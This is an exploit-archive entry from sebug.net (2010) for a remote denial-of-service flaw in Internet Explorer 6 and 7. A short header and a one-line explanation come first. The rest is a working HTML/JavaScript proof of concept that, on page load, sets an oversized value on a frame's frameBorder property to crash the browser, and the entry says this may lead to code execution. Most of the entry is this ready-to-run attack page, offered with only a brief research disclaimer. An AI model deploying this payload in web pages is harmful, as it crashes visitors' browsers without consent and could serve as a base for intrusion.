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IE6 / 7 Remote Dos vulnerability

SEBUG-ID:19993
SEBUG-Appdir:Internet Explorer
Published:2010-07-27
Exploit:
[www.sebug.net]
The following procedures (methods) may contain something offensive，they are only for security researches and teaching , at your own risk!
# Exploit Title: IE6 / 7 Remote Dos vulnerability
# Date: 27/07/2010
# Author: Richard leahy
# Version: 6 / 7
# Tested on: Windows Xp Sp3
#category Remote Dos, might lead to code execution.
 
# The vulnerability is caused due to specifying a large value integer or string to the frame.frameBorder    
causing a dos and may lead to code execution.
 
#code
 
<html>
<head>
<script>
 
function dos(){
 
  var e = document.createElement('frame');
  var prop = 'frameBorder';
 
  e[prop] = 0123456789;
}
 
</script>
</head>
<body onload="dos()">
</body>
 
</html>
// sebug.net [2010-07-27]